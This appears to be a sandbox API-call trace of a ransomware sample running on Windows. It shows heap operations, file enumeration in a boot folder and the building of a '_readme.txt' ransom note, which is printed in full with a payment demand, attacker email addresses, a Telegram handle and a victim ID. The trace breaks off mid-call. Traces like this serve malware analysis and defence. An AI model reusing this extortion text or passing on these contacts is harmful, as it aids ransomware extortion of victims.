[0266.406] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.407] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.407] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.407] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.407] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.407] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.407] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.407] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.407] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.407] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.407] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.407] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.407] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.407] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.408] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.408] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.408] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.408] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.408] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.408] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.408] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.408] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.408] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.408] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.408] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.408] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.408] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.408] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.408] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.408] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.408] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.408] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.408] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.408] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.408] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.408] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.408] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.408] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.408] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.408] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.408] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.409] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.409] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.409] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.409] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.409] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.409] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.409] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.409] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.409] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.409] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.409] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.409] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.409] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.409] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.409] PathFindFileNameW (pszPath="C:\\Boot\\sv-SE\\") returned="sv-SE\\" [0266.409] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.409] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x640000) returned 1 [0266.409] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.409] PathFindFileNameW (pszPath="") returned="" [0266.410] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.410] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.410] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.410] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.410] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076cb0 | out: hHeap=0x640000) returned 1 [0266.410] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.410] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.410] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0266.410] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 0 [0266.411] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.411] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.411] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\_readme.txt" (normalized: "c:\\boot\\sv-se\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.411] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.411] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.411] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.411] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.412] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.412] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.412] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.412] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.412] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.412] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.412] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.412] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.412] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.412] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.412] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.412] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.412] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.412] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.412] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.412] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.412] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.412] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.412] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.412] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.412] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.412] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.413] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.413] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.413] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.413] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.413] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.413] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.413] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.413] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.413] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.413] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.413] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.413] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.413] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.413] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.413] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.413] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.413] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.413] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.413] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.413] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.413] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.413] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.413] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.413] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.413] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.413] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.413] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.414] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.414] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.414] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.414] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.414] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.414] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.414] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.414] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.414] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.414] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.414] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.414] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.414] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.414] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.414] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.414] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.414] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.414] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.414] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.414] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.414] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.414] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.414] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.414] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.414] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.414] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.414] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.415] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.415] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.415] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.415] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.415] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.416] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.416] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.416] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.416] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.416] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.416] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.416] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.417] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.417] HeapFree 